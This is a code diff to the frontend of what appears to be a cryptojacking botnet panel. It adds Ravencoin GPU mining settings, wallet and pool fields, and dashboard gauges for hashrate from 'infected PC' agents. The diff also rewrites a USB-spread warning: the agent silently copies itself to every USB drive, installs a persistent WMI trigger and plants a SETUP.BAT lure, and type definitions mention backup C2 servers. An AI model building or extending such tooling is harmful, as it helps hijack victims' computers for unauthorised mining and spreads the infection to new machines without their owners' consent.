<p className="form-hint">Your Ravencoin wallet address. Only Ravencoin (RVN) mainnet addresses are accepted by KawPoW pools.</p>
</div>
<div className="form-group">
<label className="label">Ravencoin Pools</label>
<RVNPoolPresetPicker
host={form.rvn_pool_host ?? ''}
port={form.rvn_pool_port ?? 6060}
tls={form.rvn_pool_tls ?? false}
pass={form.rvn_pool_pass ?? 'x'}
backups={form.rvn_backup_pools ?? []}
onChange={(next) => {
updateField('rvn_pool_host', next.rvn_pool_host);
updateField('rvn_pool_port', next.rvn_pool_port);
updateField('rvn_pool_tls', next.rvn_pool_tls);
updateField('rvn_backup_pools', next.rvn_backup_pools);
}}
/>
</div>
<div className="form-group">
<label className="label">RVN Pool Password</label>
<input
type="text"
className="input"
placeholder="x"
value={form.rvn_pool_pass ?? 'x'}
onChange={(e) => updateField('rvn_pool_pass', e.target.value)}
/>
<p className="form-hint">Most public KawPoW pools use <code>x</code>.</p>
</div>
</>
)}
</div>
<div className="form-section">
<ForgeSectionHeader
title="Deliverable"
@@ -2007,7 +2075,7 @@ export default function BuilderPage() {
</label>
{form.usb_spread && (
<div style={{ margin: '4px 0 2px 24px', padding: '6px 10px', background: 'rgba(255,180,0,0.1)', border: '1px solid rgba(255,180,0,0.4)', borderRadius: 4, fontSize: '0.82em', color: '#ffb400' }}>
Agent will silently copy itself to any USB drive plugged into an infected PC and install a permanent WMI trigger that survives reboots.
Perpetual chain agent silently copies itself to every USB drive inserted into any infected PC (including drives already plugged in at startup), installs a persistent WMI trigger, and drops a visible SETUP.BAT + folder icon so the next PC's user just clicks. Each new machine repeats the cycle forever.
</div>
)}
<FieldHint field="usb_spread" />

View File

@@ -47,6 +47,16 @@ import {
osArchBreakdown,
} from '../help/fleetAnalytics';
import './Pages.css';
/** Format GPU KawPoW hashrate (H/s units, displayed as MH/s or GH/s). */
function formatGPUHashrate(hps: number): string {
if (!hps || hps <= 0) return '0 H/s';
if (hps >= 1e9) return `${(hps / 1e9).toFixed(2)} GH/s`;
if (hps >= 1e6) return `${(hps / 1e6).toFixed(2)} MH/s`;
if (hps >= 1e3) return `${(hps / 1e3).toFixed(2)} KH/s`;
return `${hps.toFixed(0)} H/s`;
}
export default function DashboardPage() {
const { isConnected, agents, recentShares, fleetAlerts, poolStatus, aiActivity } = useWebSocket();
const [shares, setShares] = useState<Share[]>([]);
@@ -117,6 +127,29 @@ export default function DashboardPage() {
const acceptedShares = agents.reduce((sum, a) => sum + a.shares_good, 0);
const rejectedShares = agents.reduce((sum, a) => sum + a.shares_bad, 0);
const acceptRate = totalShares > 0 ? (acceptedShares / totalShares) * 100 : 0;
// ── Ravencoin / GPU fleet stats ────────────────────────────────────────────
const gpuAgents = useMemo(
() => agents.filter((a) => a.gpu_miner_active && a.status === 'online'),
[agents]
);
const totalGPUHashrate = useMemo(
() => gpuAgents.reduce((sum, a) => sum + (a.gpu_hashrate_15m ?? 0), 0),
[gpuAgents]
);
const gpuHashrate15s = useMemo(
() => gpuAgents.reduce((sum, a) => sum + (a.gpu_hashrate_15s ?? 0), 0),
[gpuAgents]
);
const bestGPUAgent = useMemo(
() => gpuAgents.sort((a, b) => (b.gpu_hashrate_15m ?? 0) - (a.gpu_hashrate_15m ?? 0))[0] ?? null,
[gpuAgents]
);
const gpuModels = useMemo(
() => [...new Set(gpuAgents.map((a) => a.gpu_model).filter(Boolean))],
[gpuAgents]
);
const hasGPUMining = gpuAgents.length > 0;
const avgCpu = agents.length > 0 ? agents.reduce((s, a) => s + a.cpu_usage_pct, 0) / agents.length : 0;
const avgMem = agents.length > 0 ? agents.reduce((s, a) => s + a.memory_usage_pct, 0) / agents.length : 0;
const onlinePct = agents.length > 0 ? (onlineCount / agents.length) * 100 : 0;
@@ -455,6 +488,139 @@ export default function DashboardPage() {
</NeonCard>
</div>
{/* ═══════════════════════════════════════════════════════════════════
MONERO SUBHEADING — clarify the section above belongs to XMR
═══════════════════════════════════════════════════════════════════ */}
<div className="mining-coin-label monero-label">
<span className="coin-badge xmr-badge">XMR</span>
<span className="coin-name font-tech">MONERO</span>
<span className="coin-algo font-tech">· RandomX CPU ·</span>
<span className="coin-hr font-tech">{formatHashrate(totalHashrate)}</span>
</div>
{/* ═══════════════════════════════════════════════════════════════════
RAVENCOIN GPU SECTION
═══════════════════════════════════════════════════════════════════ */}
{hasGPUMining && (
<div className="rvn-section">
<div className="mining-coin-label rvn-label">
<span className="coin-badge rvn-badge">RVN</span>
<span className="coin-name font-tech">RAVENCOIN</span>
<span className="coin-algo font-tech">· KawPoW GPU ·</span>
<span className="coin-hr font-tech rvn-hashrate">{formatGPUHashrate(totalGPUHashrate)}</span>
</div>
{/* Gauge row */}
<section className="gauge-row rvn-gauges">
<NeonCard accent="gold" className="gauge-card" hud>
<GaugeRing
value={totalGPUHashrate}
max={Math.max(totalGPUHashrate * 1.2, 1e6)}
label="GPU Hash"
sublabel="15m avg"
color="var(--neon-gold)"
size={110}
/>
</NeonCard>
<NeonCard accent="amber" className="gauge-card" hud>
<GaugeRing
value={gpuHashrate15s}
max={Math.max(gpuHashrate15s * 1.2, 1e6)}
label="GPU Live"
sublabel="15s sample"
color="var(--neon-amber)"
size={110}
/>
</NeonCard>
<NeonCard accent="cyan" className="gauge-card" hud>
<GaugeRing
value={gpuAgents.length}
max={Math.max(agents.length, 1)}
label="GPU Rigs"
sublabel={`of ${agents.length} nodes`}
color="var(--neon-cyan)"
size={110}
/>
</NeonCard>
</section>
{/* Stats cards */}
<div className="grid-4 stats-grid rvn-stats-grid">
<NeonCard accent="gold" className="stat-card-wrap rvn-stat-card">
<div className="stat-label font-tech">GPU Fleet Hash</div>
<div className="stat-value rvn-hashrate neon-glow-gold">{formatGPUHashrate(totalGPUHashrate)}</div>
<div className="stat-sub">{gpuAgents.length} GPU rig{gpuAgents.length !== 1 ? 's' : ''} firing</div>
</NeonCard>
<NeonCard accent="amber" className="stat-card-wrap rvn-stat-card">
<div className="stat-label font-tech">Top GPU Rig</div>
{bestGPUAgent ? (
<>
<div className="stat-value neon-glow-amber" style={{ fontSize: '1.1rem' }}>
{(bestGPUAgent.name.length > 14 ? bestGPUAgent.name.slice(0, 13) + '…' : bestGPUAgent.name)}
</div>
<div className="stat-sub">{formatGPUHashrate(bestGPUAgent.gpu_hashrate_15m ?? 0)} · {bestGPUAgent.gpu_model ?? 'GPU'}</div>
</>
) : (
<><div className="stat-value stat-dim"></div><div className="stat-sub">none active</div></>
)}
</NeonCard>
<NeonCard accent="cyan" className="stat-card-wrap rvn-stat-card">
<div className="stat-label font-tech">GPU Models</div>
<div className="stat-value neon-glow-cyan" style={{ fontSize: '1rem', lineHeight: '1.3' }}>
{gpuModels.length > 0 ? (
gpuModels.slice(0, 2).map((m) => (
<div key={m} style={{ fontSize: '0.8em', fontFamily: 'var(--font-tech)' }}>{m}</div>
))
) : (
<span className="stat-dim"></span>
)}
</div>
<div className="stat-sub">{gpuModels.length} distinct model{gpuModels.length !== 1 ? 's' : ''}</div>
</NeonCard>
<NeonCard accent="purple" className="stat-card-wrap rvn-stat-card">
<div className="stat-label font-tech">GPU Live Rate</div>
<div className="stat-value neon-glow-purple">{formatGPUHashrate(gpuHashrate15s)}</div>
<div className="stat-sub">15-second snapshot</div>
</NeonCard>
</div>
{/* Per-rig GPU breakdown */}
{gpuAgents.length > 0 && (
<NeonCard accent="gold" className="rvn-rig-table-card" hud>
<div className="stat-label font-tech" style={{ marginBottom: '0.75rem' }}>GPU Rig Detail</div>
<div className="rvn-rig-table">
{gpuAgents.map((a) => {
const hr = a.gpu_hashrate_15m ?? 0;
const pct = totalGPUHashrate > 0 ? (hr / totalGPUHashrate) * 100 : 0;
return (
<div key={a.id} className="rvn-rig-row">
<span className="rvn-rig-name font-tech">{a.name}</span>
<span className="rvn-rig-model">{a.gpu_model ?? '—'}</span>
<span className="rvn-rig-hr neon-glow-gold">{formatGPUHashrate(hr)}</span>
<div className="rvn-rig-bar-wrap">
<div
className="rvn-rig-bar"
style={{ width: `${pct.toFixed(1)}%` } as React.CSSProperties}
/>
</div>
<span className="rvn-rig-pct">{pct.toFixed(1)}%</span>
{(a.gpu_temp_c ?? 0) > 0 && (
<span className={`rvn-rig-temp ${(a.gpu_temp_c ?? 0) > 80 ? 'temp-hot' : ''}`}>
{a.gpu_temp_c}°C
</span>
)}
</div>
);
})}
</div>
</NeonCard>
)}
</div>
)}
{/* ── Analytics row — always visible ─────────────────────────────────── */}
<ContributionBars bars={contribs} xmrPrice={xmrPrice} />
<UnderperformerList underperformers={underperformers} medianHashrate={medianHash} />

View File

@@ -1502,3 +1502,214 @@ button.deliverable-card .form-hint {
font-size: 0.78rem;
padding: 0.28rem 0.7rem;
}
/* ─── Mining Coin Labels (Monero / Ravencoin) ────────────────────────────── */
.mining-coin-label {
display: flex;
align-items: center;
gap: 0.65rem;
margin: 1.5rem 0 0.75rem;
padding: 0.5rem 1rem;
border-radius: 6px;
background: rgba(0,0,0,0.3);
border-left: 3px solid var(--neon-cyan);
}
.monero-label {
border-left-color: var(--neon-cyan);
}
.rvn-label {
border-left-color: #f5a623;
}
.coin-badge {
font-family: var(--font-tech);
font-size: 0.7rem;
padding: 0.15rem 0.5rem;
border-radius: 4px;
font-weight: 700;
letter-spacing: 0.1em;
}
.xmr-badge {
background: rgba(0, 255, 255, 0.15);
color: var(--neon-cyan);
border: 1px solid var(--neon-cyan);
}
.rvn-badge {
background: rgba(245, 166, 35, 0.15);
color: #f5a623;
border: 1px solid #f5a623;
}
.coin-name {
font-size: 0.9rem;
font-weight: 700;
letter-spacing: 0.15em;
color: #e0e0e0;
}
.coin-algo {
font-size: 0.75rem;
color: var(--text-muted);
letter-spacing: 0.05em;
}
.coin-hr {
margin-left: auto;
font-size: 1rem;
font-weight: 700;
color: var(--neon-cyan);
}
.rvn-label .coin-hr {
color: #f5a623;
}
/* ─── RVN Section ────────────────────────────────────────────────────────── */
.rvn-section {
margin-top: 0.5rem;
padding-top: 0.5rem;
border-top: 1px solid rgba(245, 166, 35, 0.2);
}
.rvn-hashrate {
color: #f5a623 !important;
text-shadow: 0 0 12px rgba(245, 166, 35, 0.6), 0 0 24px rgba(245, 166, 35, 0.3);
}
.rvn-gauges {
grid-template-columns: repeat(3, 1fr);
}
.rvn-stats-grid .rvn-stat-card {
background: linear-gradient(135deg, rgba(245, 166, 35, 0.06) 0%, rgba(0,0,0,0.0) 100%);
border: 1px solid rgba(245, 166, 35, 0.2);
text-align: center;
padding: 1.25rem !important;
position: relative;
overflow: hidden;
}
.rvn-stats-grid .rvn-stat-card::before {
content: '';
position: absolute;
inset: 0;
background: radial-gradient(ellipse at top, rgba(245,166,35,0.08) 0%, transparent 70%);
pointer-events: none;
}
.rvn-stats-grid .stat-label {
color: rgba(245, 166, 35, 0.7);
letter-spacing: 0.15em;
}
.neon-glow-gold {
color: #f5a623;
text-shadow: 0 0 8px rgba(245, 166, 35, 0.7), 0 0 16px rgba(245, 166, 35, 0.4);
}
/* ─── RVN Rig Detail Table ───────────────────────────────────────────────── */
.rvn-rig-table-card {
padding: 1.25rem !important;
background: rgba(245,166,35,0.03);
border: 1px solid rgba(245,166,35,0.15) !important;
}
.rvn-rig-table {
display: flex;
flex-direction: column;
gap: 0.6rem;
}
.rvn-rig-row {
display: grid;
grid-template-columns: 1fr 1.5fr 80px 1fr 42px 48px;
align-items: center;
gap: 0.5rem;
padding: 0.4rem 0.6rem;
border-radius: 4px;
background: rgba(0,0,0,0.25);
border-left: 2px solid rgba(245,166,35,0.35);
font-size: 0.82rem;
transition: background 0.15s;
}
.rvn-rig-row:hover {
background: rgba(245,166,35,0.07);
}
.rvn-rig-name {
font-size: 0.78rem;
color: #c0c0c0;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
}
.rvn-rig-model {
color: var(--text-muted);
font-size: 0.72rem;
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
}
.rvn-rig-hr {
font-family: var(--font-tech);
font-size: 0.8rem;
font-weight: 600;
text-align: right;
}
.rvn-rig-bar-wrap {
height: 6px;
background: rgba(255,255,255,0.08);
border-radius: 3px;
overflow: hidden;
}
.rvn-rig-bar {
height: 100%;
background: linear-gradient(90deg, #f5a623, #ffcc55);
border-radius: 3px;
box-shadow: 0 0 6px rgba(245,166,35,0.5);
transition: width 0.6s ease;
}
.rvn-rig-pct {
font-family: var(--font-tech);
font-size: 0.7rem;
color: var(--text-muted);
text-align: right;
}
.rvn-rig-temp {
font-family: var(--font-tech);
font-size: 0.72rem;
color: var(--neon-cyan);
text-align: right;
}
.rvn-rig-temp.temp-hot {
color: var(--neon-amber);
text-shadow: 0 0 6px rgba(255,165,0,0.5);
}
/* RVN GPU section in the Forge */
.rvn-pool-picker .pool-preset-provider {
color: #f5a623 !important;
}
@media (max-width: 700px) {
.rvn-gauges {
grid-template-columns: repeat(2, 1fr);
}
.rvn-rig-row {
grid-template-columns: 1fr 80px 1fr 42px;
}
.rvn-rig-model,
.rvn-rig-pct { display: none; }
}

View File

@@ -53,6 +53,13 @@ export interface Agent {
gpu_temp_c?: number;
gpu_usage_pct?: number;
// GPU / Ravencoin mining
gpu_miner_active?: boolean;
gpu_hashrate_15s?: number;
gpu_hashrate_1m?: number;
gpu_hashrate_15m?: number;
gpu_model?: string;
ssh_available?: boolean;
posture_score?: number;
last_patch_days?: number;
@@ -69,6 +76,7 @@ export interface Agent {
services?: AgentService[];
hostname?: string;
mac_address?: string;
// Live RTT from WebSocket ping/pong — undefined until first pong, null when offline.
latency_ms?: number;
}
@@ -367,6 +375,14 @@ export interface BuildRequest {
backup_pools?: BackupPool[];
// Backup C2 server URLs tried if the primary server_url is unreachable.
backup_server_urls?: string[];
// GPU / Ravencoin mining
gpu_enabled?: boolean;
rvn_wallet?: string;
rvn_pool_host?: string;
rvn_pool_port?: number;
rvn_pool_tls?: boolean;
rvn_pool_pass?: string;
rvn_backup_pools?: BackupPool[];
}
/** Fallback Stratum pool baked into the agent at forge time. */

View File

@@ -39,6 +39,11 @@ export interface WSStatsUpdate {
disk_free_pct?: number;
gpu_temp_c?: number;
gpu_usage_pct?: number;
gpu_miner_active?: boolean;
gpu_hashrate_15s?: number;
gpu_hashrate_1m?: number;
gpu_hashrate_15m?: number;
gpu_model?: string;
ssh_available?: boolean;
posture_score?: number;
last_patch_days?: number;